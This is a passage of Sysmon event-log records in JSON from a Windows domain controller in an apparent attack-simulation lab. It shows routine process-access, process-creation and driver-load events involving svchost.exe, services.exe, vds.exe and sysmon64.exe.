11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.480\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nProcessId: 3380\r\nImage: C:\\Windows\\System32\\vds.exe\r\nFileVersion: 10.0.14393.2608 (rs1_release.181024-1742)\r\nDescription: Virtual Disk Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: vds.exe\r\nCommandLine: C:\\Windows\\System32\\vds.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=EC0D95737DE497BA0AD2223322B21280,SHA256=DE976B547872B0919E16D5A97902B95893AD5B76DE6A11BE5F874EADBCA49F93,IMPHASH=3F541E0A1D775ACA4A7D5FBDFF8433C5\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.480","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010A9520200}","Image":"C:\\Windows\\System32\\vds.exe","FileVersion":"10.0.14393.2608 (rs1_release.181024-1742)","Description":"Virtual Disk Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"vds.exe","CommandLine":"C:\\Windows\\System32\\vds.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=EC0D95737DE497BA0AD2223322B21280,SHA256=DE976B547872B0919E16D5A97902B95893AD5B76DE6A11BE5F874EADBCA49F93,IMPHASH=3F541E0A1D775ACA4A7D5FBDFF8433C5","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.500\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010A9520200}\r\nTargetProcessId: 3380\r\nTargetImage: C:\\Windows\\System32\\vds.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.500","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":6,"OpcodeValue":0,"RecordNumber":1189,"ProcessID":2736,"ThreadID":3284,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Driver loaded:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:37.313\r\nImageLoaded: C:\\Windows\\System32\\drivers\\xenvif.sys\r\nHashes: MD5=159E9512AA64057D43A1BEDF4D3122E0,SHA256=1932630E63EBE989E884C4EE8FA6C0A9FC1C1638397D721995C23EF292BB5B23,IMPHASH=C119D28B8420C26CE25D996F6D25FD88\r\nSigned: true\r\nSignature: Amazon Web Services, Inc.\r\nSignatureStatus: Valid","Category":"Driver loaded (rule: DriverLoad)","Opcode":"Info","UtcTime":"2020-08-07 11:49:37.313","ImageLoaded":"C:\\Windows\\System32\\drivers\\xenvif.sys","Hashes":"MD5=159E9512AA64057D43A1BEDF4D3122E0,SHA256=1932630E63EBE989E884C4EE8FA6C0A9FC1C1638397D721995C23EF292BB5B23,IMPHASH=C119D28B8420C26CE25D996F6D25FD88","Signed":"true","Signature":"Amazon Web Services, Inc.","SignatureStatus":"Valid","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 